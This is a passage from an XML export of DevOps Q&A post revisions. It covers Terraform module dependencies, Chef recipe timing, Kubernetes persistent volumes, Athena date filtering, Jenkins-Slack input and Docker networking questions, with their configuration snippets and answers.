eni-03bddcca2fbeeff44&#xD;&#xA;            private_ip = 172.16.254.84&#xD;&#xA;            public_ip = 3.91.167.246&#xD;&#xA;            subnet_id = subnet-08ee61f3aa43acbe9&#xD;&#xA;            tags.% = 7&#xD;&#xA;            tags.Environment = development&#xD;&#xA;            tags.Infrastructure = No&#xD;&#xA;            tags.Name = **redacted** NAT GW AZ 2&#xD;&#xA;&#xD;&#xA;Executing a subsequent `terraform apply` runs without any errors.&#xD;&#xA;&#xD;&#xA;    # Yes, the IDs are different in this example than from above.&#xD;&#xA;    # ---- SNIP ----&#xD;&#xA;    module.vpc_private_route.data.aws_subnet_ids.private:&#xD;&#xA;      id = vpc-0b01cee1d0d7252ce&#xD;&#xA;      ids.# = 2&#xD;&#xA;      ids.1445881469 = subnet-0284bd8d0e6741138&#xD;&#xA;      ids.3435686647 = subnet-062c73febabc1cace&#xD;&#xA;      tags.% = 1&#xD;&#xA;      tags.Name = *Private*&#xD;&#xA;      vpc_id = vpc-0b01cee1d0d7252ce&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What should I be doing different** to cause this TF Module to wait for the resources to be created before polling for the resource? In Ansible I could just issue a wait command or run a loop searching for criteria before proceeding.&#xD;&#xA;&#xD;&#xA;Thank you for your thoughts!&#xD;&#xA;&#xD;&#xA;**PLEASE NOTE** all of the &quot;ids&quot; shown in this output will be dead before you read this post. All data has been sanitized based on environmental security policies." ContentLicense="CC BY-SA 4.0" />
  <row Id="19712" PostHistoryTypeId="1" PostId="6163" RevisionGUID="8918fece-3c1a-4f25-9bda-e203dc69f091" CreationDate="2019-01-30T18:59:17.420" UserId="6131" Text="How to make Terraform Modules wait for resources to be created in place of using computed values" ContentLicense="CC BY-SA 4.0" />
  <row Id="19713" PostHistoryTypeId="3" PostId="6163" RevisionGUID="8918fece-3c1a-4f25-9bda-e203dc69f091" CreationDate="2019-01-30T18:59:17.420" UserId="6131" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19714" PostHistoryTypeId="5" PostId="6163" RevisionGUID="4efcd0f4-3606-45c8-b7eb-4e6db9cf0e88" CreationDate="2019-01-30T19:20:05.117" UserId="6131" Comment="applied updated output results" Text="Today I am working on building out several custom Terraform Modules. The issue that I am trying to figure out how to work around dependencies within modules. Until TF 0.12 is released we cannot declare a module to be dependent upon another module. So, in this root level main.tf:&#xD;&#xA;&#xD;&#xA;    # ROOT level main.tf&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    # Create NAT Gateway - Associates EIP as well&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    module &quot;vpc_nat_gateway&quot; {&#xD;&#xA;      source            = &quot;./vpc_nat_gateway&quot;&#xD;&#xA;      vpc_id            = &quot;${ module.vpc.id }&quot;&#xD;&#xA;      public_subnet_ids = &quot;${ module.vpc_subnets.public_subnet_ids }&quot;&#xD;&#xA;      private_cidr      = &quot;${ var.private_cidr }&quot;&#xD;&#xA;      common_tags       = &quot;${ local.common_tags }&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    # Create Private Routes&#xD;&#xA;    # -------------------------------------------------------------------&#xD;&#xA;    module &quot;vpc_private_route&quot; {&#xD;&#xA;      source         = &quot;./vpc_private_route&quot;&#xD;&#xA;      vpc_id.        = &quot;${ module.vpc.id }&quot;&#xD;&#xA;      nat_gateway_id = &quot;${ module.vpc_nat_gateway.nat_gateway_id }&quot;&#xD;&#xA;      common_tags    = &quot;${ local.common_tags }&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # vpc_private_route module - main.tf&#xD;&#xA;    data &quot;aws_nat_gateway&quot; &quot;az1&quot; {&#xD;&#xA;      vpc_id = &quot;${ var.vpc_id }&quot;&#xD;&#xA;&#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;*NAT GW AZ 1&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;aws_nat_gateway&quot; &quot;az2&quot; {&#xD;&#xA;      vpc_id = &quot;${ var.vpc_id }&quot;&#xD;&#xA;&#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;*NAT GW AZ 2&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The result output is:&#xD;&#xA;&#xD;&#xA;    ------ SNIP -----&#xD;&#xA;    module.vpc_nat_gateway.aws_nat_gateway.nat[1]: Creation complete after 1m50s (ID: nat-02a7f4279cec3a6c8)&#xD;&#xA;    module.vpc_nat_gateway.aws_nat_gateway.nat.0: Still creating... (2m0s elapsed)&#xD;&#xA;    module.vpc_nat_gateway.aws_nat_gateway.nat[0]: Creation complete after 2m0s (ID: nat-0695a12d9c0305e4c)&#xD;&#xA;&#xD;&#xA;        Error: Error applying plan:&#xD;&#xA;&#xD;&#xA;        3 error(s) occurred:&#xD;&#xA;&#xD;&#xA;        * module.vpc_private_route.data.aws_subnet_ids.private: data.aws_subnet_ids.private: no matching subnet found for vpc with id vpc-0b530d1885e74067b&#xD;&#xA;        * module.vpc_private_route.data.aws_nat_gateway.az2: data.aws_nat_gateway.az2: no matching NAT gateway found: {&#xD;&#xA;        Filter: [{&#xD;&#xA;            Name: &quot;vpc-id&quot;,&#xD;&#xA;            Values: [&quot;vpc-0b530d1885e74067b&quot;]&#xD;&#xA;            },{&#xD;&#xA;            Name: &quot;tag:Name&quot;,&#xD;&#xA;            Values: [&quot;*NAT GW AZ 2&quot;]&#xD;&#xA;            }]&#xD;&#xA;        }&#xD;&#xA;        * module.vpc_private_route.data.aws_nat_gateway.az1: data.aws_nat_gateway.az1: no matching NAT gateway found: {&#xD;&#xA;        Filter: [{&#xD;&#xA;            Name: &quot;vpc-id&quot;,&#xD;&#xA;            Values: [&quot;vpc-0b530d1885e74067b&quot;]&#xD;&#xA;            },{&#xD;&#xA;            Name: &quot;tag:Name&quot;,&#xD;&#xA;            Values: [&quot;*NAT GW AZ 1&quot;]&#xD;&#xA;            }]&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;As observed in the output the Nat Gateways are created. `Terraform show` output tells us the Filters are correct:&#xD;&#xA;&#xD;&#xA;        module.vpc_nat_gateway.aws_nat_gateway.nat.0:&#xD;&#xA;            id = nat-0695a12d9c0305e4c&#xD;&#xA;            allocation_id = eipalloc-023ca087ad4fb830e&#xD;&#xA;            network_interface_id = eni-015e39fc8d3bc0de3&#xD;&#xA;            private_ip = 172.16.254.16&#xD;&#xA;            public_ip = 18.215.5.116&#xD;&#xA;            subnet_id = subnet-0f2c039e8fd804f30&#xD;&#xA;            tags.% = 7&#xD;&#xA;            tags.Environment = development&#xD;&#xA;            tags.Infrastructure = No&#xD;&#xA;            tags.Name = **redacted** NAT GW AZ 1&#xD;&#xA;        module.vpc_nat_gateway.aws_nat_gateway.nat.1:&#xD;&#xA;            id = nat-02a7f4279cec3a6c8&#xD;&#xA;            allocation_id = eipalloc-0a95264c2eef26673&#xD;&#xA;            network_interface_id = eni-03bddcca2fbeeff44&#xD;&#xA;            private_ip = 172.16.254.84&#xD;&#xA;            public_ip = 3.91.167.246&#xD;&#xA;            subnet_id = subnet-08ee61f3aa43acbe9&#xD;&#xA;            tags.% = 7&#xD;&#xA;            tags.Environment = development&#xD;&#xA;            tags.Infrastructure = No&#xD;&#xA;            tags.Name = **redacted** NAT GW AZ 2&#xD;&#xA;&#xD;&#xA;Executing a subsequent `terraform apply` runs without any errors.&#xD;&#xA;&#xD;&#xA;    # Yes, the IDs are different in this example than from above.&#xD;&#xA;    # ---- SNIP ----&#xD;&#xA;        module.vpc_private_route.data.aws_nat_gateway.az1:&#xD;&#xA;            id = nat-0c127e538a26b2bd5&#xD;&#xA;            allocation_id = eipalloc-01775b8e88502d4b9&#xD;&#xA;            network_interface_id = eni-0b0bd2203bd3f5873&#xD;&#xA;            private_ip = 172.16.254.45&#xD;&#xA;            public_ip = 3.83.199.207&#xD;&#xA;            state = available&#xD;&#xA;            subnet_id = subnet-050f6fc499a455a97&#xD;&#xA;            tags.% = 7&#xD;&#xA;            tags.Environment = development&#xD;&#xA;            tags.Infrastructure = No&#xD;&#xA;            tags.Name = **redacted** NAT GW AZ 1&#xD;&#xA;            vpc_id = vpc-057a1208002394e1b&#xD;&#xA;        module.vpc_private_route.data.aws_nat_gateway.az2:&#xD;&#xA;            id = nat-0325fe2ba1184815b&#xD;&#xA;            allocation_id = eipalloc-0df309e8b533b35b6&#xD;&#xA;            network_interface_id = eni-00e850031318b2a41&#xD;&#xA;            private_ip = 172.16.254.92&#xD;&#xA;            public_ip = 3.88.44.14&#xD;&#xA;            state = available&#xD;&#xA;            subnet_id = subnet-0191ae48f099aa808&#xD;&#xA;            tags.% = 7&#xD;&#xA;            tags.Infrastructure = No&#xD;&#xA;            tags.Name = **redacted** NAT GW AZ 2&#xD;&#xA;            vpc_id = vpc-057a1208002394e1b&#xD;&#xA;        module.vpc_private_route.data.aws_subnet_ids.private:&#xD;&#xA;            id = vpc-057a1208002394e1b&#xD;&#xA;            ids.# = 2&#xD;&#xA;            ids.1528047303 = subnet-03a4f5228ae9f1714&#xD;&#xA;            ids.1908543416 = subnet-0d915cc4899877eb9&#xD;&#xA;            tags.% = 1&#xD;&#xA;            tags.Name = *Private*&#xD;&#xA;            vpc_id = vpc-057a1208002394e1b&#xD;&#xA;&#xD;&#xA;**What should I be doing different** to cause this TF Module to wait for the resources to be created before polling for the resource? In Ansible I could just issue a wait command or run a loop searching for criteria before proceeding.&#xD;&#xA;&#xD;&#xA;Thank you for your thoughts!&#xD;&#xA;&#xD;&#xA;**PLEASE NOTE** all of the &quot;ids&quot; shown in this output will be dead before you read this post. All data has been sanitized based on environmental security policies." ContentLicense="CC BY-SA 4.0" />
  <row Id="19715" PostHistoryTypeId="4" PostId="6154" RevisionGUID="5872e5f9-8359-49e3-842d-3b3a2f089e9c" CreationDate="2019-01-30T19:28:08.980" UserId="11793" Comment="edited title" Text="Chef - assign a value to variable in execution or converge phase" ContentLicense="CC BY-SA 4.0" />
  <row Id="19719" PostHistoryTypeId="2" PostId="6165" RevisionGUID="1e41b4fb-3654-45d8-aee6-df8597fc4884" CreationDate="2019-01-30T19:42:38.853" UserId="11070" Text="This compatibility issue was solved for chef14 with the new load format of a provider in a recipe.&#xD;&#xA;&#xD;&#xA;  ```&#xD;&#xA;deploy_key deploy_key_name do&#xD;&#xA;        provider Chef::ProviderResolver.new(node, find_resource!(&quot;deploy_key[github]&quot;), :nothing).resolve&#xD;&#xA;        path &quot;/home/#{current_user}/.ssh&quot;&#xD;&#xA;        credentials({&#xD;&#xA;            :token =&gt; File.read('/root/someid').strip&#xD;&#xA;        })&#xD;&#xA;        repo 'test/test_config'&#xD;&#xA;        owner 'root'&#xD;&#xA;        group 'root'&#xD;&#xA;        mode '0400'&#xD;&#xA;        action :add&#xD;&#xA;    end&#xD;&#xA; ```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19720" PostHistoryTypeId="2" PostId="6166" RevisionGUID="1598b72e-15fd-4939-9200-27e9a5903685" CreationDate="2019-01-31T08:34:49.147" UserId="3978" Text="I have read about the [Virtual Kubelet][1] project.&#xD;&#xA;&#xD;&#xA;I can see that it allows you to *delegate* from Kubernetes to an Azure Container Instance (ACI), that it allows you to deploy both unix/windows boxes, that it will enable &quot;billing by the second&quot;.&#xD;&#xA;&#xD;&#xA;I'm quite new to Kubernetes and I am struggling understand the advantages in simple terms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/virtual-kubelet/virtual-kubelet" ContentLicense="CC BY-SA 4.0" />
  <row Id="19721" PostHistoryTypeId="1" PostId="6166" RevisionGUID="1598b72e-15fd-4939-9200-27e9a5903685" CreationDate="2019-01-31T08:34:49.147" UserId="3978" Text="In simple terms, what is the advantage of a Virtual Kubelet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19722" PostHistoryTypeId="3" PostId="6166" RevisionGUID="1598b72e-15fd-4939-9200-27e9a5903685" CreationDate="2019-01-31T08:34:49.147" UserId="3978" Text="&lt;kubernetes&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19724" PostHistoryTypeId="2" PostId="6168" RevisionGUID="5de33307-4b14-4f23-9d45-76d53e059e74" CreationDate="2019-01-31T08:56:56.727" UserId="13" Text="You have a problem of compile vs converge times as you guessed.&#xD;&#xA;&#xD;&#xA;You code between the execute resource and the ruby_block resource is executed before the execute resource is converged.&#xD;&#xA;&#xD;&#xA;The easiest way to circumvent that is to put that code within a ruby_block, and to avoid scoping problem use node.run_state hash to store the value to be checked.&#xD;&#xA;&#xD;&#xA;A rewrite of your recipe which should work would be:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Cookbook:: test_cookbook&#xD;&#xA;    # Recipe:: check-vpn-ip&#xD;&#xA;    #&#xD;&#xA;    # Copyright:: 2019, The Authors, All Rights Reserved.&#xD;&#xA;    &#xD;&#xA;    #Getting the IP address using the ruby's Socket class.&#xD;&#xA;    &#xD;&#xA;    ip_list = Socket.ip_address_list&#xD;&#xA;    vpn_ip_list = ip_list.select{ |ip| ip.ip_address.match(/^10.12/) }&#xD;&#xA;    !vpn_ip_list.empty? ? ip_addr = vpn_ip_list.first.ip_address : ip_addr = &quot;&quot;&#xD;&#xA;    &#xD;&#xA;    execute 'manually_start_open_vpn' do&#xD;&#xA;      command &quot;sudo openvpn #{node['openvpn-conf-path']}/#{host}.conf &amp;&quot;&#xD;&#xA;      action :nothing&#xD;&#xA;      only_if {ip_addr.length.eql?(0)}&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    ruby_block 'check_vpn_ip_list' do&#xD;&#xA;      block do&#xD;&#xA;        new_ip_list = Socket.ip_address_list&#xD;&#xA;        new_vpn_ip_list = new_ip_list.select{ |ip| ip.ip_address.match(/^10.12/) }&#xD;&#xA;        node.run_state['newvpn_ip_addr'] = !new_vpn_ip_list.empty? ?  new_vpn_ip_list.first.ip_address : &quot;&quot;&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    ruby_block 'chat-bot' do&#xD;&#xA;      block do&#xD;&#xA;        machine_data = {text: &quot;OpenVPN IP not assigned to #{host} &#xD;&#xA;            software_version: 18.4.4 \n This is a test message please &#xD;&#xA;            ignore @all&quot;}.to_json &#xD;&#xA;        header = {'Content-Type': 'text/json'}&#xD;&#xA;        http = Net::HTTP.new(google_chat_uri.host,                       google_chat_uri.port)&#xD;&#xA;        http.use_ssl = true&#xD;&#xA;        request = Net::HTTP::Post.new(google_chat_uri.request_uri, header)&#xD;&#xA;        request.body = machine_data&#xD;&#xA;        response = http.request(request)&#xD;&#xA;      end&#xD;&#xA;      only_if {node.run_state['newvpn_ip_addr'].length.eql?(0)}&#xD;&#xA;      action :nothing&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;There's no real use of response = in the last line as you don't use it later, but I let it as is in case you wish to log in the ruby block the response." ContentLicense="CC BY-SA 4.0" />
  <row Id="19733" PostHistoryTypeId="2" PostId="6172" RevisionGUID="75d1c2a8-da47-441c-82ae-4f65b6b00659" CreationDate="2019-01-31T14:19:48.270" UserId="7104" Text="I have provisioned manually a few small local storage PVs for a redis stateful set (I have provisioned 10 on a 3 node cluster)&#xD;&#xA;&#xD;&#xA;They seem to to be working fine. The pods created by the redis stateful set got their volume claim templates fulfilled.&#xD;&#xA;&#xD;&#xA;I am however curios, on which nodes each pv is hosted on&#xD;&#xA;&#xD;&#xA;When I use `kubectl get pv`, I get the following output:&#xD;&#xA;&#xD;&#xA;    NAME             CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS        CLAIM                          STORAGECLASS    REASON   AGE&#xD;&#xA;    small-volume-1   1Gi        RWO            Retain           Available                                    local-storage            51d&#xD;&#xA;    small-volume-2   1Gi        RWO            Retain           Bound         default/data-redis-cluster-3   local-storage            51d&#xD;&#xA;    small-volume-3   1Gi        RWO            Retain           Terminating   default/data-redis-cluster-1   local-storage            51d&#xD;&#xA;    small-volume-4   1Gi        RWO            Retain           Bound         default/data-redis-cluster-2   local-storage            51d&#xD;&#xA;    small-volume-5   1Gi        RWO            Retain           Bound         default/data-redis-cluster-5   local-storage            51d&#xD;&#xA;    small-volume-6   1Gi        RWO            Retain           Terminating   default/data-redis-cluster-0   local-storage            51d&#xD;&#xA;    small-volume-7   1Gi        RWO            Retain           Available                                    local-storage            51d&#xD;&#xA;    small-volume-8   1Gi        RWO            Retain           Bound         default/data-redis-cluster-4   local-storage            51d&#xD;&#xA;    small-volume-9   1Gi        RWO            Retain           Available                                    local-storage            51d&#xD;&#xA;&#xD;&#xA;When I do `kubectl describe` on any of the PVs, I still don't see on which node it's on.&#xD;&#xA;&#xD;&#xA;Is there a way to tell? (providing that I don't force them to be created on a specific node using node affinity)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19734" PostHistoryTypeId="1" PostId="6172" RevisionGUID="75d1c2a8-da47-441c-82ae-4f65b6b00659" CreationDate="2019-01-31T14:19:48.270" UserId="7104" Text="Kubernetes: How to tell on which node a local storage PV has been created on" ContentLicense="CC BY-SA 4.0" />
  <row Id="19735" PostHistoryTypeId="3" PostId="6172" RevisionGUID="75d1c2a8-da47-441c-82ae-4f65b6b00659" CreationDate="2019-01-31T14:19:48.270" UserId="7104" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19739" PostHistoryTypeId="2" PostId="6174" RevisionGUID="1c37fecb-f160-417e-a861-3557319ce7ae" CreationDate="2019-01-31T15:50:51.127" UserId="3" Text="I've tried this query:&#xD;&#xA;&#xD;&#xA;    SELECT request_timestamp&#xD;&#xA;    FROM elb_logs&#xD;&#xA;    WHERE date_trunc('day', request_timestamp) = date_trunc('day', current_timestamp)&#xD;&#xA;    LIMIT 10&#xD;&#xA;&#xD;&#xA;but it fails with:&#xD;&#xA;&#xD;&#xA;&gt; SYNTAX_ERROR: line 3:7: Unexpected parameters (varchar(3), varchar) for function date_trunc. Expected: date_trunc(varchar(x), date) , date_trunc(varchar(x), time) , date_trunc(varchar(x), time with time zone) , date_trunc(varchar(x), timestamp) , date_trunc(varchar(x), timestamp with time zone)&#xD;&#xA;&#xD;&#xA;I've checked the [Date and Time Functions and Operators](https://prestodb.github.io/docs/0.172/functions/datetime.html) docs page, but I can't see anything wrong.&#xD;&#xA;&#xD;&#xA;I've created the `elb_logs` table in Amazon Athena according to [this page](https://docs.aws.amazon.com/athena/latest/ug/elasticloadbalancer-classic-logs.html#create-elb-table).&#xD;&#xA;&#xD;&#xA;What I am missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19740" PostHistoryTypeId="1" PostId="6174" RevisionGUID="1c37fecb-f160-417e-a861-3557319ce7ae" CreationDate="2019-01-31T15:50:51.127" UserId="3" Text="How to filter ELB logs by today's date?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19741" PostHistoryTypeId="3" PostId="6174" RevisionGUID="1c37fecb-f160-417e-a861-3557319ce7ae" CreationDate="2019-01-31T15:50:51.127" UserId="3" Text="&lt;amazon-web-services&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19742" PostHistoryTypeId="2" PostId="6175" RevisionGUID="3af70c0f-7866-4fd2-ab1f-68fe0e908bcd" CreationDate="2019-01-31T15:57:07.520" UserId="5237" Text="I want my jenkins pipeline have a user input step where it posts to a slack channel and waits for user input then uses the input to user enters (button in the slack message).&#xD;&#xA;&#xD;&#xA;So at the input step it posts to slack with a message that has buttons&#xD;&#xA;&#xD;&#xA;Then when a user clicks a button in slack a rest call or something hits jenkins with the value of the button user pressed&#xD;&#xA;&#xD;&#xA;Is this possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19743" PostHistoryTypeId="1" PostId="6175" RevisionGUID="3af70c0f-7866-4fd2-ab1f-68fe0e908bcd" CreationDate="2019-01-31T15:57:07.520" UserId="5237" Text="can I use the jenkins rest api with user input?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19744" PostHistoryTypeId="3" PostId="6175" RevisionGUID="3af70c0f-7866-4fd2-ab1f-68fe0e908bcd" CreationDate="2019-01-31T15:57:07.520" UserId="5237" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19745" PostHistoryTypeId="2" PostId="6176" RevisionGUID="7cb8c18e-f7e4-458f-b635-f9af014ff2bd" CreationDate="2019-01-31T16:13:52.283" UserId="11905" Text="I'm launching through Ansible (just SSH basically) a docker stack deploy, the issue is also true when launching directly from a `manager`:&#xD;&#xA;&#xD;&#xA;    docker stack deploy --prune --with-registry-auth -c /docker/docker-compose.yml &quot;test-stack&quot;&#xD;&#xA;&#xD;&#xA;I have my credentials to access this registry are defined in `.docker/config.json`. &#xD;&#xA;&#xD;&#xA;The problem is first seen here with a `docker stack ps test-stack`:&#xD;&#xA;&#xD;&#xA;     ... Shutdown            Rejected 11 minutes ago      &quot;No such image: myregistry.com:12345/myimage:mytag&quot;&#xD;&#xA;&#xD;&#xA;The workers aren't uploading the images I want. On their logs, I get the following: &#xD;&#xA;&#xD;&#xA;    Jan 31 11:22:24 myhost dockerd[1149]: time=&quot;2019-01-31T11:22:24.574302458+01:00&quot; level=warning msg=&quot;Error getting v2 registry: Get https://myregistry.com:12345/v2/: http: server gave HTTP response to HTTPS client&quot;&#xD;&#xA;    Jan 31 11:22:24 myhost dockerd[1149]: time=&quot;2019-01-31T11:22:24.574342640+01:00&quot; level=info msg=&quot;Attempting next endpoint for pull after error: Get https://myregistry.com:12345/v2/: http: server gave HTTP response to HTTPS client&quot;&#xD;&#xA;    Jan 31 11:22:24 myhost dockerd[1149]: time=&quot;2019-01-31T11:22:24.618063948+01:00&quot; level=info msg=&quot;Attempting next endpoint for pull after error: unauthorized: authentication required&quot;&#xD;&#xA;    Jan 31 11:22:24 myhost dockerd[1149]: time=&quot;2019-01-31T11:22:24.618121224+01:00&quot; level=error msg=&quot;pulling image failed&quot; error=&quot;unauthorized: authentication required&quot; module=node/agent/taskmanager node.id=rarbt9afb16y7j77bfwiacby2 service.id=ej4y7wbwp539u7mmmhfashz93 task.id=c1uy2gnwdcmibp6l2p9rfxcsh&#xD;&#xA;    Jan 31 11:22:24 myhost dockerd[1149]: time=&quot;2019-01-31T11:22:24.618840324+01:00&quot; level=error msg=&quot;fatal task error&quot; error=&quot;No such image: myregistry.com:12345/myimage:mytag&quot; module=node/agent/taskmanager node.id=rarbt9afb16y7j77bfwiacby2 service.id=ej4y7wbwp539u7mmmhfashz93 task.id=c1uy2gnwdcmibp6l2p9rfxcsh&#xD;&#xA;    Jan 31 11:22:29 myhost dockerd[1149]: time=&quot;2019-01-31T11:22:29.548642584+01:00&quot; level=warning msg=&quot;failed to deactivate service binding for container test-stack_myservice.1.c1uy2gnwdcmibp6l2p9rfxcsh&quot; error=&quot;No such container: test-stack_myservice.1.c1uy2gnwdcmibp6l2p9rfxcsh&quot; module=node/agent node.id=rarbt9afb16y7j77bfwiacby2&#xD;&#xA;&#xD;&#xA;**The problem** is that, when I do a `docker pull myregistry.com:12345/myimage:mytag` on the workers, it pulls the image successfully and without any problem, but not through an `docker stack deploy` command. Despite the fact that i have the option `--with-registry-auth`.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19746" PostHistoryTypeId="1" PostId="6176" RevisionGUID="7cb8c18e-f7e4-458f-b635-f9af014ff2bd" CreationDate="2019-01-31T16:13:52.283" UserId="11905" Text="Docker stack deploy doesn't pull images" ContentLicense="CC BY-SA 4.0" />
  <row Id="19747" PostHistoryTypeId="3" PostId="6176" RevisionGUID="7cb8c18e-f7e4-458f-b635-f9af014ff2bd" CreationDate="2019-01-31T16:13:52.283" UserId="11905" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19748" PostHistoryTypeId="2" PostId="6177" RevisionGUID="d4ec7d6f-40bf-46b8-a921-d714a8573032" CreationDate="2019-01-31T16:28:48.547" UserId="3" Text="Either `request_timestamp` needs to be converted from the ISO 8601 formatted string into a timestamp with time zone, or `current_timestamp` needs to be converted into the string.&#xD;&#xA;&#xD;&#xA;One method is to convert `request_timestamp` into a string in format `%Y-%m-%d`, e.g.&#xD;&#xA;&#xD;&#xA;- `split_part(request_timestamp, 'T', 1)`&#xD;&#xA;- `substr(request_timestamp, 1, 10)`&#xD;&#xA;&#xD;&#xA;then compare it with `current_timestamp` which can be converted to the ISO 8601 formatted string.&#xD;&#xA;&#xD;&#xA;Here is the final query:&#xD;&#xA;&#xD;&#xA;    SELECT *&#xD;&#xA;    FROM elb_logs&#xD;&#xA;    WHERE split_part(request_timestamp, 'T', 1) = split_part(to_iso8601(current_timestamp), 'T', 1)&#xD;&#xA;    LIMIT 10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19749" PostHistoryTypeId="2" PostId="6178" RevisionGUID="4928f61d-f13e-4117-b63f-85fe300d06a3" CreationDate="2019-01-31T17:14:48.277" UserId="11179" Text="I'm reworking a bunch of scripts using the deprecated `docker run --link` option in favor of user-defined bridges.&#xD;&#xA;&#xD;&#xA;By searching in the doc, I didn't find any command to list all containers attached to a given network. For now, I am parsing the JSON output of [`docker network inspect`](https://docs.docker.com/engine/reference/commandline/network_inspect/) through the [`jq`](https://stedolan.github.io/jq/) tool; I've posted that as an answer below since it may help someone. But, do you know another option to achieve that? Maybe using a dedicated Docker command, option or a custom Go format?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19750" PostHistoryTypeId="1" PostId="6178" RevisionGUID="4928f61d-f13e-4117-b63f-85fe300d06a3" CreationDate="2019-01-31T17:14:48.277" UserId="11179" Text="How to list the containers attached to a given user-defined network?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19751" PostHistoryTypeId="3" PostId="6178" RevisionGUID="4928f61d-f13e-4117-b63f-85fe300d06a3" CreationDate="2019-01-31T17:14:48.277" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19752" PostHistoryTypeId="2" PostId="6179" RevisionGUID="2dee3d5e-caa4-4d76-9871-70e4e9a04e1e" CreationDate="2019-01-31T17:17:07.103" UserId="11179" Text="The docker network inspect produces a JSON output that can be parsed using any jq to extract the relevant piece of informations:&#xD;&#xA;&#xD;&#xA;    sudo docker network inspect app-bridge | jq '.[].Containers[].Name'&#xD;&#xA;    &#xD;&#xA;    &quot;app2&quot;&#xD;&#xA;    &quot;app3&quot;&#xD;&#xA;    &quot;app1&quot;&#xD;&#xA;    &quot;laughing_easley&quot;&#xD;&#xA;    &quot;database&quot;&#xD;&#xA;    &quot;thirsty_wing&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you are already familiar with JSON processing with [`jq`](https://stedolan.github.io/jq/), the advantage is you can reinvest your knowledge without having to bother with [Go templates](https://golang.org/pkg/text/template/). On the other hand, it relies on an external tool which may or may be not available at your site." ContentLicense="CC BY-SA 4.0" />
  <row Id="19753" PostHistoryTypeId="2" PostId="6180" RevisionGUID="99b61ec3-2cc3-4cd7-85fc-207eef7fcc5c" CreationDate="2019-01-31T17:18:06.070" UserId="12134" Text="Seems like `--clean` is hardcoded into the MercurialSCM Jenkins plugin.&#xD;&#xA;&#xD;&#xA;See OP for the [link to the culprit code][1].&#xD;&#xA;&#xD;&#xA;I have opened up a [ticket on Jenkins jira][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/mercurial-plugin/blob/5c6297af895dddc2eee75647c9d13786226a38fc/src/main/java/hudson/plugins/mercurial/MercurialSCM.java#L728&#xD;&#xA;  [2]: https://issues.jenkins-ci.org/browse/JENKINS-55870" ContentLicense="CC BY-SA 4.0" />
  <row Id="19754" PostHistoryTypeId="5" PostId="6178" RevisionGUID="5b0172fa-4ed2-45ee-bfb9-326df08d83fd" CreationDate="2019-01-31T17:21:20.280" UserId="11179" Comment="deleted 34 characters in body" Text="I'm reworking a bunch of scripts using the deprecated `docker run --link` option in favor of user-defined bridges.&#xD;&#xA;&#xD;&#xA;By searching in the doc, I didn't find any command to list all containers attached to a given network. For now, I am parsing the JSON output of [`docker network inspect`](https://docs.docker.com/engine/reference/commandline/network_inspect/) through the `jq` tool; I've posted that as an answer below since it may help someone. But, do you know another option to achieve that? Maybe using a dedicated Docker command, option or a custom Go format?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19755" PostHistoryTypeId="50" PostId="5834" RevisionGUID="c476382f-525c-4ff9-8d3e-6e6e53eb5dad" CreationDate="2019-01-31T18:02:35.613" UserId="-1" />
  <row Id="19756" PostHistoryTypeId="2" PostId="6181" RevisionGUID="483301f9-e5d4-4fea-b9cd-c50c1c0f87a1" CreationDate="2019-01-31T18:33:46.070" UserId="10599" Text="Welcome to the wonderful world of container orchestrators.&#xA;&#xA;I recommend you try minishift which is like minikube but the openshift distro of kubernetes that has more devops features. &#xA;&#xA;Helm is a package manager for Kubernetes it works with openshift extensions also. Helm tracks what your have installed and lets you rollback. The official chart repos have ready made charts to install databases and redis etc. I made a [generic chart][1] that runs any container on openshift kubernetes and we use it to install all our apps whether mode.js or php or whatever. &#xA;&#xA;When you want to install many charts then you can use [Helmfile][2]. Your Helmfile has all the yaml to install all your helm charts. The best feature is that it only modifies what changed. If you modify one setting in a Helmfile that configures many apps it will only update the one app. And let you see the prior versions of the k8s yaml of the apps store in k8s and lets you easily rollback to 